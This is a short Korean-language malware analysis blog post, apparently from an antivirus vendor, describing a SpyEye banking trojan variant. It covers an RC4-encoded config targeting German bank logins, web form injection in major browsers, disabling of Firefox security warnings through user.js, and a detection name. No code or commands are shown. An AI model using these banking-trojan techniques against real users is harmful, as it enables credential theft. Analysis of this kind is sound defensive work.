생성된 설정 파일은 RC4로 인코딩되어 있으며, 이를 디코딩하는 키값은 해당 스파이아이 트로이목마 내부에 가지고 있으며, 생성된 설정 파일을 디코딩하게 되면 아래 이미지와 같은 텍스트 파일이 나타나게 된다.



해당 설정 파일에는 아래 이미지와 같은 독일에 위치한 은행의 온라인 뱅킹 웹 사이트의 로그인을 위한 사용자 계정과 암호를 후킹하기 위한 코드가 설정되어 있다. 



이 외에 이번에 발견된 스파이아이 변형은 웹 폼 인젝션(Web Form Injection)을 위해 마이크로소프트 인터넷 익스플로러(Internet Explorer), 구글 크롬(Google Chrome)과 파이어폭스(Firefox) 웹 브라우저 실행 여부를 확인하고 접속하는 웹 사이트 주소를 확인하게 된다.


그리고 파이어폭스의 사용자 설정 파일인 user.js 을 확인하여 아래 이미지와 같은 코드를 삽입하여, 파이어폭스에 포함되어 있는 보안 경고 기능을 무력화 하게 된다.



이 번에 발견된 스파이아이 변형은 전체적인 감염 동작은 기존에 발견된 스파이아이 변형들과 동일하게 정상 explorer.exe 의 메모리 영역에 자신의 코드를 삽입하고, 웹 브라우저가 접속하는 웹 사이트 주소를 설정 파일과 비교하여 웹폼 인젝션을 통해 사용자 계정과 암호를 후킹하는 것은 동일하다. 


그러나 기존 스파이아이 변형들이 가지고 있는 유저 모드 은폐 기능을 통해 생성한 파일 복사본과 설정 파일들을 은폐하는 기능이 존재하지 않는 차이점만을 가지고 있다.


이 번에 발견된 스파이아이의 새로운 변형은 V3 제품군에서 다음과 같이 진단한다.


Win-Trojan/Spyeyes.19968.B


저작자 표시
신고
Creative Commons License
Creative Commons License
Posted by 비회원